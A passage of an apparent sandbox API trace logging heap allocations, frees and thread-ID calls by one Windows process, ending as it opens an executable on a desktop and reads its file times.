0x33d8328 [0075.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20288 [0075.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d28 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d28 | out: hHeap=0x2ad0000) returned 1 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0075.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.857] GetCurrentThreadId () returned 0x9b0 [0075.857] GetCurrentThreadId () returned 0x9b0 [0075.857] GetCurrentThreadId () returned 0x9b0 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f38 [0075.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0075.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.857] GetCurrentThreadId () returned 0x9b0 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.857] GetCurrentThreadId () returned 0x9b0 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f68 [0075.857] GetCurrentThreadId () returned 0x9b0 [0075.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e90 [0075.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0075.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f68 | out: hHeap=0x2ad0000) returned 1 [0075.858] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x61c) returned 0x33d8328 [0075.858] GetCurrentThreadId () returned 0x9b0 [0075.858] GetCurrentThreadId () returned 0x9b0 [0075.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.858] GetCurrentThreadId () returned 0x9b0 [0075.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ec0 [0075.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e48 [0075.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e48 | out: hHeap=0x2ad0000) returned 1 [0075.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ec0 | out: hHeap=0x2ad0000) returned 1 [0075.858] GetCurrentThreadId () returned 0x9b0 [0075.858] GetCurrentThreadId () returned 0x9b0 [0075.858] GetCurrentThreadId () returned 0x9b0 [0075.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d88 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84dd0 [0075.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84dd0 | out: hHeap=0x2ad0000) returned 1 [0075.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d88 | out: hHeap=0x2ad0000) returned 1 [0075.859] GetCurrentThreadId () returned 0x9b0 [0075.859] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x6fc) returned 0x33d8328 [0075.859] GetCurrentThreadId () returned 0x9b0 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d10 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e30 [0075.859] GetCurrentThreadId () returned 0x9b0 [0075.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e30 | out: hHeap=0x2ad0000) returned 1 [0075.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d10 | out: hHeap=0x2ad0000) returned 1 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.859] GetCurrentThreadId () returned 0x9b0 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e90 [0075.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e78 [0075.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e78 | out: hHeap=0x2ad0000) returned 1 [0075.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0075.860] GetCurrentThreadId () returned 0x9b0 [0075.860] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84bc0, Size=0x20) returned 0x3028328 [0075.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.860] GetCurrentThreadId () returned 0x9b0 [0075.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84da0 [0075.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0075.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.860] GetCurrentThreadId () returned 0x9b0 [0075.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.860] GetCurrentThreadId () returned 0x9b0 [0075.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d10 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d10 | out: hHeap=0x2ad0000) returned 1 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.861] GetCurrentThreadId () returned 0x9b0 [0075.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.861] GetCurrentThreadId () returned 0x9b0 [0075.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ed8 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ed8 | out: hHeap=0x2ad0000) returned 1 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bc0 | out: hHeap=0x2ad0000) returned 1 [0075.861] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d8328, Size=0x7f8) returned 0x33d8328 [0075.861] GetCurrentThreadId () returned 0x9b0 [0075.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0075.861] GetCurrentThreadId () returned 0x9b0 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0075.862] GetCurrentThreadId () returned 0x9b0 [0075.862] GetCurrentThreadId () returned 0x9b0 [0075.862] GetCurrentThreadId () returned 0x9b0 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de778 [0075.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6c) returned 0x2c8e898 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0075.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7d0) returned 0x33d8b28 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b60 | out: hHeap=0x2ad0000) returned 1 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b48 | out: hHeap=0x2ad0000) returned 1 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b30 | out: hHeap=0x2ad0000) returned 1 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b00 | out: hHeap=0x2ad0000) returned 1 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ab8 | out: hHeap=0x2ad0000) returned 1 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b90 | out: hHeap=0x2ad0000) returned 1 [0075.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ad0 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de798 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ae8 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c98 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c80 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849f8 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a88 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c50 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a58 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c20 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de808 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ce0 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c38 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bd8 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7d8 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c68 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a70 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b18 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84aa0 | out: hHeap=0x2ad0000) returned 1 [0075.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bf0 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84710 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c08 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cc8 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a10 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84950 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6e8 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848f0 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84938 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846f8 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84878 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849e0 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84758 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84860 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849b0 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849c8 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84800 | out: hHeap=0x2ad0000) returned 1 [0075.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84740 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847d0 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84980 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84728 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6f8 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84968 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847e8 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847b8 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84908 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848a8 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84788 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847a0 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84830 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84848 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84998 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84890 | out: hHeap=0x2ad0000) returned 1 [0075.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84818 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848d8 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84920 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a28 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cb0 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84410 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7e8 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846b0 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84470 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845a8 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845c0 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84650 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84680 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84638 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84440 | out: hHeap=0x2ad0000) returned 1 [0075.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f4ae0 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843f8 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84608 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84560 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84488 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84770 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ba8 | out: hHeap=0x2ad0000) returned 1 [0075.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d8328 | out: hHeap=0x2ad0000) returned 1 [0075.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ad0 [0075.867] GetCurrentThreadId () returned 0x9b0 [0075.867] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ad0, Size=0x20) returned 0x3028238 [0075.867] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19250 [0075.867] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19b98 [0075.867] GetCurrentThreadId () returned 0x9b0 [0075.867] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0748 [0075.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c08 [0075.867] GetCurrentThreadId () returned 0x9b0 [0075.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f47d0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] GetCurrentThreadId () returned 0x9b0 [0075.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c50 [0075.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bc0 [0075.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b78 [0075.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c50 | out: hHeap=0x2ad0000) returned 1 [0075.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bd8 [0075.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a40 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bf0 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ab8 | out: hHeap=0x2ad0000) returned 1 [0075.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ad0 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ce0 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ae8 | out: hHeap=0x2ad0000) returned 1 [0075.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c50 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bf0 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b90 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c20 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c50 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0075.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ad0 | out: hHeap=0x2ad0000) returned 1 [0075.879] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8a40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0075.879] GetFileType (hFile=0x300) returned 0x1 [0075.879] GetFileType (hFile=0x300) returned 0x1 [0075.879] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b8abc | out: lpFileInformation=0x9b8abc) returned 1 [0075.879] FileTimeToLocalFileTime (in: lpFileTime=0x9b8ad0, lpLocalFileTime=0x9b8b00 | out: lpLocalFileTime=0x9b8b00) returned 1 [0075.879] FileTimeToSystemTime (in: lpFileTime=0x9b8b00, lpSystemTime=0x9b8af0 | out: lpSystemTime=0x9b8af0) returned 1 [0075.880] FileTimeToLocalFileTime (in: lpFileTime=0x9b8ac8, 